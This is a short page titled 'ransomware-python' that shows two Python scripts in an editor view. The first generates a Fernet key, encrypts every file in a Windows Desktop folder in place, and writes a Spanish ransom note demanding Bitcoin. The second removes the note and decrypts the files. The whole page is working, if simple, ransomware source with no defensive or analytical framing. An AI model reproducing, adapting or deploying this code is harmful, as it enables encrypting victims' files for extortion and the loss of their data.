

ransomware-python

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File Edit Selection View Go Run ... ⏪ ⏩ 🔎 encrypcion
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encry.py x decry.py
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encry.py
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```
1 from cryptography.fernet import Fernet
2 import os
3
4 def generarkey():
5     key = Fernet.generate_key()
6     with open("key.key", "wb") as key_file:
7         key_file.write(key)
8 def retornarkey():
9     return open("key.key", "rb").read()
10 def encrypt(items, key):
11     i = Fernet(key)
12     for x in items:
13         with open(x, "rb") as file:
14             file_data = file.read()
15             data = i.encrypt(file_data)
16             with open(x, "wb") as file:
17                 file.write(data)
18 if __name__ == "__main__":
19
20     archivos = 'C:\\\\Users\\\\Usuario\\\\Desktop\\\\secreto\\\\info'
21     items = os.listdir(archivos)
22     archivo_2=[archivos+"\\\\"+x for x in items]
23     generarkey()
24     key = retornarkey()
25     encrypt(archivo_2,key)
26     with open(archivos+"\\\\"+"readme.txt", "w") as file:
27         file.write("Archivos encriptados\\n")
28         file.write("Deposite su Bitcoin para liberar la info")
```

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File Edit Selection View Go Run ... ⏪ ⏩ 🔎 encrypcion
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encry.py x decry.py > ...
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```
decry.py > ...
4 def retornarkey():
5     return open("key.key", "rb").read()
6 def decrypt(items, key):
7     i = Fernet(key)
8     for x in items:
9         with open(x, "rb") as file:
10             file_data = file.read()
11             data = i.decrypt(file_data)
12             with open(x, "wb") as file:
13                 file.write(data)
14 if __name__ == "__main__":
15
16     archivos = 'C:\\\\Users\\\\Usuario\\\\Desktop\\\\secreto\\\\info'
17     os.remove(archivos+"\\\\"+"readme.txt")
18     items = os.listdir(archivos)
19     archivo_2=[archivos+"\\\\"+x for x in items]
20
21     key = retornarkey()
22     decrypt(archivo_2,key)
```

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